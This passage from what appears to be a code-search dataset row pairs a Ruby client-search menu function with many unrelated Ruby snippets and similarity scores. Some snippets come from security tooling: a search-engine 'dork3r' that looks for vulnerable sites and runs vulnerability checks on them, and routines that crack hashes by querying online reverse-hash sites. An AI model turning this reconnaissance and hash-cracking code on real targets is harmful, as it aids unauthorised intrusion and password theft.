author, publisher, date, pages, copies)\n\n $books_array.push(new_book.to_hash)\n\n File.open(\"Books.json\", \"w+\") do |f|\n f.puts($books_array.to_json)\n end\n puts \"Da them sach moi thanh cong. Bam ENTER de tiep tuc\"\n gets.chomp\nend", "def add(hash, opts = {})\n uuid = opts[:id] || SecureRandom.uuid\n thash = Treet::Hash.new(hash)\n repos[uuid] = thash.to_repo(\"#{root}/#{uuid}\", opts.merge(:repotype => repotype))\n end", "def new_client \n client_name = @prompt.ask(\"Please Enter Your Name\")\n client_phone = @prompt.ask(\"Please Enter Your Phone Number\")\n client_email = @prompt.ask(\"Please Enter Your Email Address\")\n @client = Client.create(name: client_name, phone: client_phone, email: client_email)\n appointment_system \n end", "def add\n #handle unexpected error with status code 500\n begin\n if request.env['CONTENT_TYPE'].include?('application/json') \n @client = Client.new\n @username = params[:user]\n @password = params[:password]\n errCode = @client.add(params[:user], params[:password])\n if errCode > 0\n dic = {:errCode => 1, :count => errCode}\n respond_to do |format|\n format.json { render json: dic, :status => 200 }\n end\n else\n dic = {:errCode => errCode}\n respond_to do |format|\n format.json { render json: dic, :status => 200 }\n end\n end\n else\n render :json => { :errors => \"Wrong Content-Type on Request'\" }, :status => 500\n end\n rescue\n render :json => { :errors => \"Unknown Errors\" }, :status => 500\n end\n end", "def add_deaf_client(deaf_client)\n self.deaf_client = deaf_client\n self.save\n end", "def create\n @client = Client.create(client_params)\n # byebug\n if @client.valid?\n render json: { client: ClientSerializer.new(@client) }, status: :created\n else\n render json: { error: 'failed to create account' }, status: :not_acceptable\n end \n end", "def handle_store_client_data(origin_client_id, params)\n key = params[:key].to_sym\n value = params[:value].to_s\n public = params[:public] == 'true' || false\n\n ClientData.create(owner_client_id: origin_client_id.to_sym,\n key: key,\n value: value,\n public: public)\n notify(:type => :info, :code => 4000, :receivers => @qsif[:client_manager].web_socket(:client_id => origin_client_id), :params => {:client_id => origin_client_id})\n end", "def create\n @client = current_user.clients.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @client = Client.new(params[:client])\n \n respond_to do |format|\n if @client.save\n format.html { redirect_to(@client, :notice => \"Client was successfully created. #{undo_link}\") }\n end\n respond_with(@client)\n end\n end", "def after_create_notify_client_service\n\t\t\t\t\trequire \"open-uri\"\n\t\t\t\t\trequire \"net/http\"\n\t\t\t\t\trequire \"openssl\"\n\n\t\t\t\t\turi = URI.parse(self.install_url)\n\t\t\t\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\t\t\thttp.use_ssl = true if uri.scheme == \"https\"\n\n\t\t\t\t\trequest = Net::HTTP::Post.new(uri.request_uri)\n\t\t\t\t\trequest[\"Content-Type\"] = \"application/json\"\n\t\t\t\t\trequest.body = {\n\t\t\t\t\t\tclient_id: self.id,\n\t\t\t\t\t\tsecret: self.secret,\n\t\t\t\t\t\turl: ((MicroService::Client.configuration)? MicroService::Client.configuration.url : \"\"),\n\t\t\t\t\t\ttimestamp: self.created_at.to_i,\n\t\t\t\t\t}.to_json\n\n\t\t\t\t\tresponse = http.request(request)\n\n\t\t\t\t\t# Failed to register with external service\n\t\t\t\t\tif !response.kind_of? Net::HTTPSuccess\n\t\t\t\t\t\traise ::MicroService::Client::InstallError\n\t\t\t\t\tend\n\t\t\t\tend", "def add_watcher(struct)\n struct.remapkeys!\n if struct.has_key? :user and struct.has_key? :pass\n rt = RT_Client.new(:user => struct[:user], :pass => struct[:pass])\n struct.delete(:user)\n struct.delete(:pass)\n else\n rt = RT_Client.new\n end\n val = rt.add_watcher(struct)\n rt = nil\n val\n end", "def create_client(&callback)\n begin\n client_id = @server.generate_id\n end while @connected.containsKey(client_id)\n ping(client_id)\n @server.debug 'Created new client ?', client_id\n @server.trigger(:handshake, client_id)\n callback.call(client_id)\n end", "def add_new_input(db)\n\tputs \"-\" * 50\n\tputs \"Add New Horse Information: \"\n\tprint \"Name: \"\n\thorse_name = gets.split.map(&:capitalize).join(' ')\n\tprint \"Breed: \"\n\thorse_breed = gets.split.map(&:capitalize).join(' ')\n\tprint \"Color: \"\n\thorse_color = gets.split.map(&:capitalize).join(' ')\n\tprint \"Age: \"\n\thorse_age = gets.to_i\n\tprint \"Rideable (y/n): \"\n\thorse_rideable_input = gets.chomp.downcase\n\tif horse_rideable_input == \"y\"\n\t\thorse_rideable = \"true\"\n\telse\n\t\thorse_rideable = \"false\"\n\tend\n\tadd_new(db, horse_name, horse_breed, horse_color, horse_age, horse_rideable)\nend", "def update_client_using_put_with_http_info(client, client_id, appTokenConfig = {}, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ClientApi.update_client_using_put ...'\n end\n # verify the required parameter 'client' is set\n if @api_client.config.client_side_validation && client.nil?\n fail ArgumentError, \"Missing the required parameter 'client' when calling ClientApi.update_client_using_put\"\n end\n # verify the required parameter 'client_id' is set\n if @api_client.config.client_side_validation && client_id.nil?\n fail ArgumentError, \"Missing the required parameter 'client_id' when calling ClientApi.update_client_using_put\"\n end\n # resource path\n local_var_path = '/nucleus/v1/client/{client_id}'.sub('{' + 'client_id' + '}', client_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(client)\n auth_names = ['oauth2']\n\n if @api_client.config.client_side_validation && appTokenConfig['basePath'].nil?\n fail ArgumentError, \"Missing the required parameter 'basePath'\"\n end\n\n if @api_client.config.client_side_validation && appTokenConfig['authType'].nil?\n fail ArgumentError, \"Missing the required parameter 'authType'\"\n end\n\n @auth_config.config.host = appTokenConfig['basePath']\n @api_client.config.host = appTokenConfig['basePath']\n\n if appTokenConfig['authType'].downcase == 'client_credentials'\n client_credentials_token = create_client_credential_return(appTokenConfig)\n @api_client.config.access_token = client_credentials_token\n elsif appTokenConfig['authType'].downcase == 'password_credentials'\n password_credential_token = create_password_credential_return(appTokenConfig)\n @api_client.config.access_token = password_credential_token\n elsif appTokenConfig['authType'].downcase == 'client_token_credentials'\n client_token_credential = create_client_token_credential_return(appTokenConfig)\n @api_client.config.access_token = client_token_credential\n end\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Client')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ClientApi#update_client_using_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def new\n @client = clients.new\n @client.build_address\n end", "def create\n @client = Client.new(params[:client])\n @client.name = @client.name.upcase\n if session[:user].nil? \n redirect_to :controller => \"login\", :action => \"new\"\n else\n @client.updated_by = session[:user]\n end\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to new_contract_path(:client_id=>@client.id), notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_user_to_json\n hash = JSON.load File.new 'user_information/user_data.json'\n hash[@username] = Hash.new\n hash[@username]['email'] = @email\n hash[@username]['sports'] = @sport\n hash[@username]['info'] = @info\n hash[@username]['subscription'] = @subscription\n hash[@username]['last_email_sent'] = Time.now.strftime \"%d/%m/%Y\"\n File.open \"user_information/user_data.json\",\"w\" do |f|\n f.puts JSON.pretty_generate hash\n end\n end", "def update_brokerage_client_using_put_with_http_info(nucleus_client_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BrokerageApi.update_brokerage_client_using_put ...'\n end\n # verify the required parameter 'nucleus_client_id' is set\n if @api_client.config.client_side_validation && nucleus_client_id.nil?\n fail ArgumentError, \"Missing the required parameter 'nucleus_client_id' when calling BrokerageApi.update_brokerage_client_using_put\"\n end\n # resource path\n local_var_path = '/brokerage/client/{nucleus_client_id}'.sub('{' + 'nucleus_client_id' + '}', nucleus_client_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'client_co'])\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BrokerageUpdateClientVO')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BrokerageApi#update_brokerage_client_using_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n\n @client = Client.new(client_params)\n\n #se não aguardar carregar os dados\n if @client.state == '...'\n sweetalert_warning('Você precisa informar o CEP e aguardar os dados do endereço serem preenchidos.', 'Aviso!', useRejections: false)\n redirect_to new_client_path and return\n end\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Cliente criado com sucesso.' }\n format.json { render :show, status: :created, location: @client }\n sweetalert_success('Cliente cadastrado com sucesso.', 'Sucesso!', useRejections: false)\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.69799507", "0.65547836", "0.65053415", "0.6395103", "0.6298468", "0.62344766", "0.6218407", "0.6095143", "0.5967004", "0.58639014", "0.5789714", "0.5739492", "0.5694084", "0.5548911", "0.55179197", "0.5503776", "0.5503776", "0.550269", "0.5466857", "0.5460222", "0.54471946", "0.54196227", "0.54180324", "0.53933465", "0.5364945", "0.5348103", "0.5347569", "0.5320964", "0.53170073", "0.5312856", "0.5270459", "0.52615744", "0.525399", "0.5238414", "0.52254057", "0.5210794", "0.5205436", "0.51968586", "0.5183827", "0.5179695", "0.51789755", "0.5176277", "0.51752985", "0.51728714", "0.5140599", "0.5130031", "0.51279163", "0.5114378", "0.50983787", "0.50936127", "0.50930905", "0.5091758", "0.5089532", "0.5086113", "0.50842077", "0.50830835", "0.5077547", "0.50763595", "0.50759727", "0.5046104", "0.5029031", "0.50227934", "0.50177896", "0.5011904", "0.5010748", "0.5007657", "0.50027287", "0.5002718", "0.4992289", "0.4991968", "0.49906945", "0.49906945", "0.49906945", "0.49900725", "0.49898124", "0.4983238", "0.4979216", "0.4978625", "0.49744964", "0.49664345", "0.49624777", "0.49590886", "0.49586394", "0.49560183", "0.4952507", "0.4950796", "0.4945606", "0.4945606", "0.4945606", "0.49416625", "0.49316818", "0.49073458", "0.4902503", "0.48976994", "0.48860526", "0.4883174", "0.4882949", "0.48824528", "0.48773247", "0.48691237" ]
0.7650266
0
searches the client hash to match a string input from the user, then goes to clientselect menu
def clientsearch(client_hash,username) prompt = TTY::Prompt.new(symbols: {marker: ">"}) input = "" while input != "Exit" system('clear') Debug.show("Debug ON") input = prompt.select("Client lookup\n\n\n",["Fulltext search","ID search","Exit"]) string = nil if input == "Fulltext search" string = prompt.ask("Fulltext search:") do |q| q.validate(/^[\w \d]+$/) q.messages[:valid?] = "Invalid search, must be alphanumeric" end elsif input == "ID search" string = prompt.ask("ID search:") do |q| q.validate(/^[\d]+$/) q.messages[:valid?] = "Invalid ID, must be numeric" end end if string != nil system('clear') puts "Client lookup\n\nSearch: #{string}\n" string.downcase! matches = [] client_hash[:clients].each do |client| if input == "ID search" if /#{string}/.match(client[:id].to_s) matches.push(client[:id]) end next end client.each do |key,value| next if key == :pendingcharges if /#{string}/.match(value.to_s.downcase) Debug.show "#{string} matches #{key} => #{value.to_s.downcase}\t#{client[:id]}" matches.push(client[:id]) break end end end if matches.length > 1 && matches.length < 20 puts "Multiple results:\n\n" matches.each do |id| puts "Client ID: #{client_hash[:clients][id-1][:id]} \t#{client_hash[:clients][id-1][:name]}\t#{client_hash[:clients][id-1][:email]}\n" end matches.push("Search again") matches.push("Exit") input = prompt.select("\n\n",matches) if input != "Search again" && input != "Exit" selectclient(client_hash[:clients][input.to_i-1],username) end elsif matches.length >= 20 puts "More than 20 results matched" input = prompt.select("\n\n",["Search again","Exit"]) elsif matches.length == 0 puts "No results" input = prompt.select("\n\n",["Search again","Exit"]) elsif matches.length == 1 puts "ID: #{client_hash[:clients][matches[0]-1][:id]} \nName: #{client_hash[:clients][matches[0]-1][:name]}" selectclient(client_hash[:clients][matches[0]-1],username) end end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def main_menu(companyname=\"Unknown\",username=\"Unknown\",client_hash)\n prompt = TTY::Prompt.new(symbols: {marker: \">\"})\n input = \"\"\n while input != \"Exit\"\n system('clear')\n Debug.show \"Debug ON\\ninput: #{input} | company_name: #{companyname} | username: #{username}\"\n menuoptions = [\"Add new client\",\"Search client\",\"Exit\"]\n menuoptions.delete(\"Add new client\") if username == \"guest\"\n input = prompt.select(\"#{companyname} accounts\\n\\nLogged in as user #{username}\\n\\nTotal clients: #{client_hash[:clients].length}\\n\\n\", menuoptions)\n \n if input == \"Add new client\"\n client_hash = add_new_client(client_hash)\n end\n\n if input == \"Search client\"\n clientsearch(client_hash,username)\n end\n end\n return input\nend", "def main_menu\n options = [\"View recipe book\", \"Search by ingredient\", \"Quit app\"]\n answer = @prompt.select(\"Choose an option:\".colorize(:color => :blue), (options))\n if answer == options[0]\n select_recipe_from_book(@user.view_recipe_book)\n elsif answer == options[1]\n find_recipe\n elsif answer == options[2]\n puts ''\n puts \"Thanks for using Feed. See you next time!\".colorize(:color => :blue)\n system exit\n end\nend", "def search(shelters)\n\n while true\n\n search_choice = TTY::Prompt.new.select(\"Please select from the kitty search menu:\\n\".colorize(:magenta), \n cycle: true, marker: '>', echo: false) do |menu| \n \n menu.choice('Location', 1)\n menu.choice('Cat Feature', 2)\n menu.choice('Return to main menu', 3)\n\n #puts \"Checking for the value of search_choice inside search method #{search_choice}\"\n\n case search_choice\n when 1\n puts \"Selected option 1\"\n search_by_location(shelters)\n\n when 2\n search_by_feature(shelters)\n\n when 3\n puts \"menu\"\n return false\n\n end # of case statement\n \n end # of do |menu|\n end # of while loop\nend", "def search_menu\n puts\n prompt = \"(dork3r)> \"\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^!(.+)/\n # Execute system commands in terminal\n cmd=$1.strip.chomp\n res = commandz(cmd)\n print_line(\"\\n#{res.join().chomp}\")\n search_menu\n when /^c$|^clear$|^cls$/i\n cls\n banner\n search_menu\n when /^h$|^help$|^ls$/i\n puts\n search_menu_help\n search_menu\n when /^exit$|^quit$|^back$/i\n puts\n print_error(\"Returning to Main Menu....\")\n main_menu\n when /^ip$/i\n ip_info\n search_menu\n when /^ip2host$|^host2ip$/i\n host = Readline.readline(\" Target IP or Domain: \", true)\n dnsenum = DNSEnum.new(host.strip.chomp)\n ip, domain, hostname = dnsenum.host_info\n puts\n print_status(\"IP: #{ip}\")\n print_status(\"Domain: #{domain}\") unless domain == ip\n print_status(\"Hostname: #{hostname}\\n\\n\")\n search_menu\n when /^list$/i\n file = Readline.readline(\" Path to Links File: \", true)\n if File.exists?(file.strip.chomp)\n print_status(\"Performing quick vuln test with user provided links....\")\n links=File.open(file.strip.chomp).readlines\n print_status(\"Loaded #{links.size} links from #{file}....\")\n testing_links = link_prep(links)\n print_status(\"#{testing_links.size} links prepped for testing....\")\n send_and_check(testing_links)\n else\n puts\n print_error(\"Unable to load URL list!\")\n print_error(\"Check path or permissions and try again....\\n\")\n end\n search_menu\n when /^ask$|^bing$|^yahoo$|^google|^all$/i\n print_status(\"Need some info for search....\")\n squery = Readline.readline(\" Enter Search Term: \", true)\n eanswer = Readline.readline(\" Enable TLD Expansion Search (Y/N)? \", true)\n if eanswer.strip.chomp.upcase == 'N' or eanswer.strip.chomp.upcase == 'NO'\n tld_expansion = false\n else\n tld_expansion = true\n line = Readline.readline(\" Enter CSV list of TLD's to Expand Search:\", true)\n if line =~ /.+,.+/\n tld_expansion_array = line.split(',')\n else\n tld_expansion_array = [ 'COM', 'EDU', 'NET', 'ORG' ]\n end\n end\n answer = Readline.readline(\" Enable Vuln Checks w/Search (Y/N)? \", true)\n if answer.strip.chomp.upcase == 'N' or answer.strip.chomp.upcase == 'NO'\n dorking=false\n else\n dorking=true\n end\n puts\n links=[]\n search = SearchEngine.new\n case cmd\n when /ask/i\n if tld_expansion\n tld_expansion_array.each do |t|\n count=links.size\n print_status(\"Searching with Dork against #{t}....\")\n dork = squery.strip.chomp + \"%20site%3A#{t}\"\n links += search.ask_search(dork, false)\n print_status(\"Found #{links.size - count.to_i} Links....\") unless (links.size - count.to_i) == 0\n end\n else\n links += search.ask_search(squery.strip.chomp)\n end\n when /bing/i\n if tld_expansion\n tld_expansion_array.each do |t|\n count=links.size\n print_status(\"Searching with Dork against #{t}....\")\n dork = squery.strip.chomp + \"%20site%3A#{t}\"\n links += search.bing_search(dork, false)\n print_status(\"Found #{links.size - count.to_i} Links....\") unless (links.size - count.to_i) == 0\n end\n else\n links += search.bing_search(squery.strip.chomp)\n end\n when /google/i\n if tld_expansion\n tld_expansion_array.each do |t|\n count=links.size\n print_status(\"Searching with Dork against #{t}....\")\n dork = squery.strip.chomp + \"%20site%3A#{t}\"\n links += search.google_search(dork, false)\n print_status(\"Found #{links.size - count.to_i} Links....\") unless (links.size - count.to_i) == 0\n end\n else\n links += search.google_search(squery.strip.chomp)\n end\n when /excite/i\n if tld_expansion\n tld_expansion_array.each do |t|\n count=links.size\n print_status(\"Searching with Dork against #{t}....\")\n dork = squery.strip.chomp + \"%20site%3A#{t}\"\n links += search.excite_search(dork, false)\n print_status(\"Found #{links.size - count.to_i} Links....\") unless (links.size - count.to_i) == 0\n end\n else\n links += search.excite_search(squery.strip.chomp)\n end\n when /hotbot/i\n if tld_expansion\n tld_expansion_array.each do |t|\n count=links.size\n print_status(\"Searching with Dork against #{t}....\")\n dork = squery.strip.chomp + \"%20site%3A#{t}\"\n links += search.hotbot_search(dork, false)\n print_status(\"Found #{links.size - count.to_i} Links....\") unless (links.size - count.to_i) == 0\n end\n else\n links += search.hotbot_search(squery.strip.chomp)\n end\n when /yahoo/i\n if tld_expansion\n tld_expansion_array.each do |t|\n count=links.size\n print_status(\"Searching with Dork against #{t}....\")\n dork = squery.strip.chomp + \"%20site%3A#{t}\"\n links += search.hotbot_search(dork, false)\n print_status(\"Found #{links.size - count.to_i} Links....\") unless (links.size - count.to_i) == 0\n end\n else\n links += search.yahoo_search(squery.strip.chomp)\n end\n else # All\n if tld_expansion\n tld_expansion_array.each do |t|\n count=links.size\n print_status(\"Searching with Dork against #{t}....\")\n dork = squery.strip.chomp + \"%20site%3A#{t}\"\n links += search.ask_search(dork, false)\n print_status(\"Ask Found #{links.size - count.to_i} Links....\") unless (links.size - count.to_i) == 0\n count=links.size\n links += search.bing_search(dork, false)\n print_status(\"Bing Found #{links.size - count.to_i} Links....\") unless (links.size - count.to_i) == 0\n count=links.size\n links += search.google_search(dork, false)\n print_status(\"Google Found #{links.size - count.to_i} Links....\") unless (links.size - count.to_i) == 0\n count=links.size\n links += search.yahoo_search(dork, false)\n print_status(\"Yahoo Found #{links.size - count.to_i} Links....\") unless (links.size - count.to_i) == 0\n end\n else\n links += search.ask_search(squery.strip.chomp)\n links += search.bing_search(squery.strip.chomp)\n links += search.google_search(squery.strip.chomp)\n links += search.yahoo_search(squery.strip.chomp)\n end\n end\n if not links.nil? and links.size > 0\n links.uniq!\n if dorking\n test_links = link_prep(links)\n print_good(\"#{test_links.size} links prepped for testing....\")\n send_and_check(test_links)\n else\n print_good(\"Search Results: \")\n links.each {|link| puts link.to_s.white }\n end\n puts\n else\n puts\n print_error(\"No links returned from searches!\")\n print_error(\"Can't do anything without links....\\n\\n\")\n end\n search_menu\n when /^local$|^OS$/i\n local_shell\n search_menu\n else\n puts\n print_error(\"Oops, Didn't quite understand that one!\")\n print_error(\"Please try again...\\n\\n\")\n search_menu\n end\n end\nend", "def stringfunction_hash_search(hash_to_find=@hash_to_find, verbose=true)\n if @hash_type == 'MD5' or @hash_type == 'SHA1'\n agent = Mechanize.new\n begin\n agent.user_agent = $config['HTTP']['HTTP_USER_AGENT']\n if $config['HTTP']['PROXY']\n if $config['HTTP']['PROXY_AUTH']\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i, user=$config['HTTP']['PROXY_USER'], pass=$config['HTTP']['PROXY_PASS'])\n else\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i)\n end\n end\n found=false\n # Find form, enter hash, run search...\n if @hash_type == 'SHA1'\n page = agent.get('http://www.stringfunction.com/sha1-decrypter.html')\n search_form = page.form_with( :action => \"./sha1-decrypter.html\" )\n search_form.string = hash_to_find\n else\n page = agent.get('http://www.stringfunction.com/md5-decrypter.html')\n search_form = page.form_with( :action => \"./md5-decrypter.html\" )\n search_form.string_md5 = hash_to_find\n end\n button = search_form.button_with(:value=>'Decrypt')\n page = agent.submit(search_form, button) # submit form and return new page\n if @hash_type == 'SHA1'\n if page.body =~ /<textarea class=\"textarea-input-tool-b\" rows=\"10\" cols=\"50\" name=\"result\">(.+)\\s+<\\/textarea>/\n plain_jane = $1.strip.chomp\n found=true\n end\n else\n if page.body =~ /<textarea class=\"textarea-input-tool-b\" rows=\"10\" cols=\"50\" name=\"result\" .+\">(.+)<\\/textarea>/\n plain_jane = $1.strip.chomp\n found=true\n end\n end\n if found\n if verbose\n print_good(\"Match Found: stringfunction.com\")\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Hash: #{hash_to_find}\".white\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Plain-Text: #{plain_jane}\".white\n end\n return plain_jane\n end\n rescue OpenSSL::SSL::SSLError,Errno::ETIMEDOUT,Net::HTTP::Persistent::Error,NoMethodError,Zlib::DataError,Mechanize::ResponseCodeError => e\n print_error(\"Problem Communicating with: stringfunction.com\") if verbose\n return nil\n end\n print_error(\"No Results from: stringfunction.com\") if verbose\n return nil\n else\n print_error(\"#{@hash_type} not supported for: stringfunction.com\") if verbose\n return nil\n end\n end", "def login_menu_display\n puts \"Welcome to Ticket Search app!\"\n login_choice = @prompt.select(\"What would you like to do?\", [\"Create Account\", \"Login\", \"Exit\"])\n case login_choice\n when \"Create Account\"\n user_create\n system \"clear\"\n when \"Login\"\n account_login\n system \"clear\"\n when \"Exit\"\n exit\n end\n end", "def menu\n\toption = gets.chomp.downcase\nend", "def sans_hash_search(hash_to_find=@hash_to_find, verbose=true)\n if @hash_type == 'MD5' or @hash_type == 'SHA1'\n agent = Mechanize.new\n begin\n agent.user_agent = $config['HTTP']['HTTP_USER_AGENT']\n if $config['HTTP']['PROXY']\n if $config['HTTP']['PROXY_AUTH']\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i, user=$config['HTTP']['PROXY_USER'], pass=$config['HTTP']['PROXY_PASS'])\n else\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i)\n end\n end\n # Find form, enter hash, run search...\n page = agent.get('https://isc.sans.edu/tools/reversehash.html')\n search_form = page.form_with( :action => \"/tools/reversehash.html\" )\n search_form.text = hash_to_find\n button = search_form.button_with(:name => 'submit')\n page = agent.submit(search_form, button) # submit form and return new page\npage.body =~ /Sorry, no solution found/\n if not page.body =~ /Sorry, no solution found/\n if page.body =~ /<\\/p>\\s+<p style=\"border: 1px solid; padding:6px;\">\\s+(.+) hash #{hash_to_find} = (.+)\\s+<\\/p><br \\/>/\n type = $1\n plain_jane = $2.strip.chomp\n if verbose\n print_good(\"Match Found: isc.sans.edu\")\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Hash: #{hash_to_find}\".white\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Plain-Text: #{plain_jane}\".white\n end\n return plain_jane\n end\n end\n rescue OpenSSL::SSL::SSLError,Errno::ETIMEDOUT,Net::HTTP::Persistent::Error,NoMethodError,Zlib::DataError,Mechanize::ResponseCodeError => e\n print_error(\"Problem Communicating with: isc.sans.edu\") if verbose\n return nil\n end\n print_error(\"No Results from: isc.sans.edu\") if verbose\n return nil\n else\n print_error(\"#{@hash_type} not supported for: isc.sans.edu\") if verbose\n return nil\n end\n end", "def get_menu_choice\n\n valid_cmds = [ # array of valid commands we will accept\n \"exit\",\n \"0\", \"00\",\n \"1\",\"2\",\"3\",\"4\",\"5\",\n \"show recent\",\n \"scrape more\",\n \"search\",\n \"search by pay\",\n \"results\"\n ]\n\n response = \"\"\n until valid_cmds.include?(response)\n print \"Please Enter a Command or Number: \".blue\n response = gets.chomp.downcase\n end\n\n clear_screen\n response\n end", "def menu\n puts `clear`\n puts Rainbow(\"Welcome to the Happitails Database\\n\\n\").blue\n print 'Choose: (L)ists, (A)nimal Management, (C)lient Management or (Q)uit. '\n gets.chomp.downcase\nend", "def menu\n\n puts \"________________\"\n\n puts \"insert the user name to continue\"\n @user_name = gets.chomp\n response = User.find_by(user_name: @user_name)\n\n puts \"________________\"\n\n if response\n \n mainscreen\n else\n puts \"try again\"\n menu\n end\n end", "def main_menu\n @ui.input_1_change\n @ui.user_input1.downcase\n unless %w[trains routes stations cars].include? @ui.user_input1\n puts 'There is no such option in the main menu.'\n end\n main_menu_choose_option(@ui.user_input1)\n end", "def menu\n\tputs \"(b)asic, (a)dvanced, or (q)uit\"\n\t$menu_choice = gets.chomp.downcase\nend", "def get_user_selection(message)\n print message\n gets.chomp\nend", "def secret_menu\n puts \"\"\n options = [\"View Character Dictionary\", \"View Spellbook\", \"View House\", \"View Classmates\", \"Quit\"]\n choice = PROMPT.select(\"Welcome to Hogwarts. Feel free to explore the following:\", options)\n case choice\n when options[0]\n character_dictionary\n when options[1]\n which_user_spellbook_and_path?\n secret_menu_or_quit\n when options[2]\n house_info\n secret_menu_or_quit\n when options[3]\n user_classmates\n when options[4]\n goodbye\n end\n end", "def user_select(items)\n h.choose do |menu|\n menu.index = :number\n menu.prompt = 'Please Choose One:'\n menu.select_by = :index_or_name\n items.each do |item|\n menu.choice item.to_sym do |command|\n ui.msg \"Using: #{command}\"\n selected = command.to_s\n end\n end\n menu.choice :all do return :all end\n menu.choice :exit do exit 1 end\n end\n end", "def wiki_menu_select\n wiki_menu\n prompt = TTY::Prompt.new\n menu_choices = [\n \" [1] Search by Character\",\n \" [2] Search by House\",\n \" [3] Main Menu\",\n \" [4] Exit App\"\n ]\n prompt.select(\" \", menu_choices)\nend", "def manage_account_menu\n choice = @prompt.select(\"Please choose from the following options:\") do |menu|\n menu.choice 'Change my name'\n menu.choice 'Change my password'\n menu.choice 'Delete my account'.blue\n menu.choice \"Back to Main Menu\"\n end\n\n if choice == \"Change my name\"\n change_name\n elsif choice == \"Change my password\"\n change_password\n elsif choice == \"Delete my account\".blue\n delete_account\n elsif choice == \"Back to Main Menu\"\n start_menu\n end\nend", "def select_recipe_from_search(recipe_titles)\n puts ''\n selection = @prompt.select(\"Please select a recipe:\".colorize(:color => :blue), (recipe_titles))\n @selected_rec = recipe_instances.find { |recipe| recipe.title == selection }\n puts ''\n puts @selected_rec.content\n end", "def user_menu_input\n menu\n user_menu_selection = gets.strip.to_i\n if valid_menu_selection?(user_menu_selection)\n user_menu_selection\n else\n puts \"\\nInvalid input \\u{1f4a9} !\\n \".colorize(:red).bold\n user_menu_input\n end\n end", "def login_menu\n system(\"clear\")\n prompt = prompt_instance\n prompt.select(\"Select option!\".colorize(:magenta)) do |menu|\n menu.choice \"LOGIN\", -> {login}\n menu.choice \"SIGN UP\", -> {sign_up}\n menu.choice \"BACK\".colorize(:red), -> {start_menu}\n end\nend", "def main_menu\n puts \"CHEATSHEET\"\n puts \"1: Command Line\"\n puts \"2: Search\"\n puts \"3: Exit\"\n puts \"*****Make a Selection*****\"\n\n user_input = gets.chomp\n case user_input.to_i\n when 1\n cmd_line\n when 2\n search\n when 3\n exit_program\n end\nend", "def select_option\n print_menu\n @choice = gets.chomp\n perform_selection\n end", "def login_menu\n\t\tlogin_display\n option = gets.chomp.downcase\n if option == \"1\" || option == \"1.\" || option == \"new user\"\n get_user_info\n elsif option == \"2\" || option == \"2.\" || option == \"returning user\"\n login\n elsif option == \"3\" || option == \"3.\" || option == \"exit\"\n goodbye\n else\n\t\t\tputs \"Check your input and make sure you are selecting a number. 